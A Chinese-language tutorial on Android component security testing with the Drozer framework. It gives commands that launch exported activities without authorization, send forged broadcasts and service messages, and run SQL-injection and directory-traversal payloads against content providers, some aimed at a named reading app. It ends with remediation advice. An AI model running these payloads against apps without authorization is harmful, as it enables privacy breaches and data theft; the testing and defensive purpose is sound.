安卓测试之Drozer

安卓测试之Drozer

目录1. 安卓四大组件2. 准备工作(环境配置)3. 启动客户端和服务端4. 相关命令4.1 基础探测命令(先扫攻击面)4.2 Activity 组件安全测试4.3 Service 服务组件安全测试4.4 BroadcastReceiver 广播接收器测试4.5 ContentProvider 内容提供者(最高危)5. APP测试6. 通用漏洞修复方案7. 完整测试流程

1. 安卓四大组件

安卓的四大组件是构建应用程序的核心模块,分别是 Activity(活动)、Service(服务)、BroadcastReceiver(广播接收器) 和 ContentProvider(内容提供者)。它们各自承担不同的职责,共同协作以提供完整的应用功能。

Activity(活动)

作用:负责界面展示、与用户交互,是应用可视化页面载体。

每个页面对应一个 Activity,持有 Window 承载 View 视图;

拥有完整生命周期(onCreate/onStart/onResume/onPause/onStop/onDestroy);

页面跳转依靠 Intent 通信,可携带数据、启动其他四大组件。

Service(服务)

作用:无界面,后台长时间执行耗时 / 常驻任务。

本地服务:同应用内后台运行,例:音乐播放、文件下载、定时同步;

远程服务(AIDL):跨进程通信,供其他 App 调用功能;

两种启动方式:

startService:独立运行,需手动 stopSelf 销毁;

bindService:绑定宿主,宿主销毁服务同步销毁,支持双向通信。

BroadcastReceiver(广播接收器)

作用:接收系统 / 自定义广播消息,实现组件、应用间解耦通知。

系统广播:电量变化、开机完成、网络切换、屏幕锁屏;

自定义广播:App 内部页面、服务间传递通知;

注册方式:静态注册(AndroidManifest.xml)、动态注册(代码注册,生命周期跟随页面);

执行逻辑轻量,耗时操作需交由 Service 处理。

ContentProvider(内容提供者)

作用:跨应用安全共享结构化数据,统一数据访问标准。

封装数据库 / 文件数据,对外提供增删改查接口(insert/query/update/delete);

通过 Uri 定位数据,配合 ContentResolver 访问;

系统内置:通讯录、相册、短信、媒体库均使用 ContentProvider 对外暴露数据;

自带权限管控,保障跨 App 数据安全。

2. 准备工作(环境配置)

Drozer 是 Android 组件渗透专用框架,核心用于检测导出(exported=true / 含 intent-filter) 四大组件的越权、数据泄露、SQL 注入、DoS、目录遍历等高危漏洞。

PC 端安装 Drozer 客户端

下载地址:https://github.com/ReversecLabs/drozer/releases/tag/3.1.0

将下载的.whl文件放到任意位置执行:安装命令:drozer-3.1.0-py3-none-any.whl

验证安装

模拟器 / 真机开启 USB 调试,安装 agent.apk

下载地址:https://github.com/ReversecLabs/drozer-agent/releases/tag/3.1.0

下载好.apk直接拖进模拟器安装

3. 启动客户端和服务端

打开 Agent,点击 开启(ON) 启动内置 31415 端口服务

监听端口为31415

端口转发:adb forward tcp:31415 tcp:31415

进入 Drozer 控制台:drozer console connect

4. 相关命令

4.1 基础探测命令(先扫攻击面)

# 列出设备所有安装包

run app.package.list

# 查看目标APP完整攻击面(汇总所有导出组件)

run app.package.attacksurface com.xxx.target

# 导出目标APK的AndroidManifest清单

run app.package.manifest com.xxx.target

4.2 Activity 组件安全测试

常见漏洞:登录绕过 / 越权访问敏感页面、Intent 空参数 DoS 崩溃、Activity 劫持、敏感数据 Intent 明文传递。

全套测试命令

1. 查看所有Activity导出状态、所需权限

run app.activity.info -a com.xxx.target

2. 直接启动导出的Activity(测试登录绕过)

run app.activity.start --component com.xxx.target com.xxx.target.SensitiveAdminActivity

3. 携带参数启动(伪造业务数据)

run app.activity.start --component com.xxx.target com.xxx.target.UserInfoActivity --extra string userId "10086"

4. 空Intent测试DoS(不传必填Extra,观察APP是否崩溃)

run app.activity.start --component com.xxx.target com.xxx.target.PayActivity

风险判定:无需登录态校验、无权限限制即可拉起管理员 / 用户详情 / 支付 / 文件管理页面 → 高危越权漏洞。

4.3 Service 服务组件安全测试

常见漏洞:外部无权限启动后台服务、AIDL 跨进程接口越权、恶意参数导致后台逻辑异常、权限提升。

全套测试命令

# 1. 查询所有导出Service、读写权限

run app.service.info -a com.xxx.target

# 2. 启动无权限校验的后台Service

run app.service.start --component com.xxx.target com.xxx.target.DownloadService

# 3. 绑定Service并发送消息交互(AIDL接口测试)

run app.service.send com.xxx.target com.xxx.target.RemoteService --msg 1 0 0 --extra string cmd "delete_user"

风险判定:导出 Service 可外部调用删除数据、同步隐私文件、执行高敏感后台操作 → 高危。

4.4 BroadcastReceiver 广播接收器测试

常见漏洞:恶意 APP 伪造广播触发敏感操作、空 Action / 非法 Extra 导致 APP 崩溃(DoS)、广播明文窃取通知。

全套测试命令:

# 1. 查看所有导出广播接收器

run app.broadcast.info -a com.xxx.target

# 2. 发送自定义广播(伪造业务指令)

run app.broadcast.send --component com.xxx.target com.xxx.target.PushReceiver --action com.target.LOGOUT --extra string token "fake_token"

# 3. 空参数广播DoS测试(不传必填extra)

run app.broadcast.send --component com.xxx.target com.xxx.target.OrderReceiver

风险判定:外部可发送广播触发登出、删除订单、重置密码等操作,或直接使应用闪退拒绝服务。

4.5 ContentProvider 内容提供者(最高危)

常见漏洞:SQL 注入、目录遍历读取本地文件、未授权读取用户账号密码、批量数据泄露、权限绕过。

全套测试命令

# 1. 查看Provider授权、读写权限、导出状态

run app.provider.info -a com.xxx.target

# 2. 自动扫描所有可访问URI(泄露数据表)

run scanner.provider.finduris -a com.xxx.target

# 3. 读取URI内敏感数据(账号、密码、手机号)

run app.provider.query content://com.xxx.target.UserDB/user_info

# 4. 检测SQL注入漏洞(Projection/Selection注入)

run scanner.provider.injection -a com.xxx.target

# 5. 检测目录遍历漏洞(读取本地私有文件)

run scanner.provider.traversal -a com.xxx.target

# 6. 遍历数据库所有表名

run scanner.provider.sqltables -a com.xxx.target

# 7. 利用注入查询全表数据

run app.provider.query content://com.xxx.target.UserDB/user_info --projection "* FROM sqlite_master;-- "

风险判定

无读写权限限制可直接查询用户隐私表;

存在 SQL 注入可拖库、删表;

目录遍历可读取 app 私有目录密钥、本地缓存。

5. APP测试

将测试app安装到模拟器并运行

通过关键字查找待测试App包名

run app.package.list -f App关键字

如这里的熊猫看书中关键字panda

run app.package.list -f panda

查看app详细信息

run app.package.info -a App包名

run app.package.info -a com.nd.android.pandareader

确认四大组件攻击面,出现exported代表对外暴露

run app.package.attacksurface App包名

run app.package.attacksurface com.nd.android.pandareader

查看Activity组件的具体信息,出现 Permission: null,代表权限为空,可直接未授权调用

run app.activity.info -a App包名

run app.activity.info -a com.nd.android.pandareader

未授权调用具体组件

run app.activity.start –component App包名 App组件名

run app.activity.start –component com.nd.android.pandareader com.baidu.shucheng.ui.main.MainActivity

检测Android四大组件安全性

run app.broadcast.info -a App包名

run app.broadcast.info -a com.nd.android.pandareader

run app.service.info -a App包名

run app.service.info -a com.nd.android.pandareader

run app.activity.info -a App包名

run app.activity.info -a com.nd.android.pandareader

run app.provider.info -a App包名

run app.provider.info -a com.nd.android.pandareader

检测数据泄露

run scanner.provider.finduris -a App包名

run app.provider.query 具体的url

检测是否存在sql注入风险

run scanner.provider.injection -a App包名

无sql注入,如果有,执行

run app.provider.query content:/xxxxxx --projection "* FROM sqlite_master WHERE type='table'--"

run app.provider.query content://xxxxx --selection "1=1"

检测是否存在文件读取漏洞

run scanner.provider.traversal -a App包名

如果有执行:

run app.provider.read content://xxxxxxx/../../../../../../../../etc/hosts

6. 通用漏洞修复方案

组件默认不导出:所有非对外组件添加 android:exported="false";

如需外部调用,增加自定义权限校验,配置 android:permission;

Activity 增加登录态 / Token 校验,禁止直接跳转后台敏感页面;

ContentProvider 严格控制读写权限,过滤 SQL 特殊字符,禁止读取任意本地路径;

Broadcast 增加广播发送方身份校验,关键操作增加签名校验;

Service AIDL 接口增加调用权限校验,过滤恶意指令参数。

7. 完整测试流程

环境连通,执行 app.package.attacksurface 汇总全部导出组件;

分别扫描四大组件导出清单,记录无权限组件;

逐个调用导出组件,验证越权、DoS;

ContentProvider 专项扫描注入、目录遍历、数据泄露;

整理可复现命令、截图,输出漏洞等级与修复建议。

你可能也喜欢

FIFA女足世界杯:女足胜过男足的五大优势
杉杉来了剧情介绍
3658商城

杉杉来了剧情介绍

07-25 4177
快递小哥的一天体验感受:稳、准、狠!丨川观青年学习小组②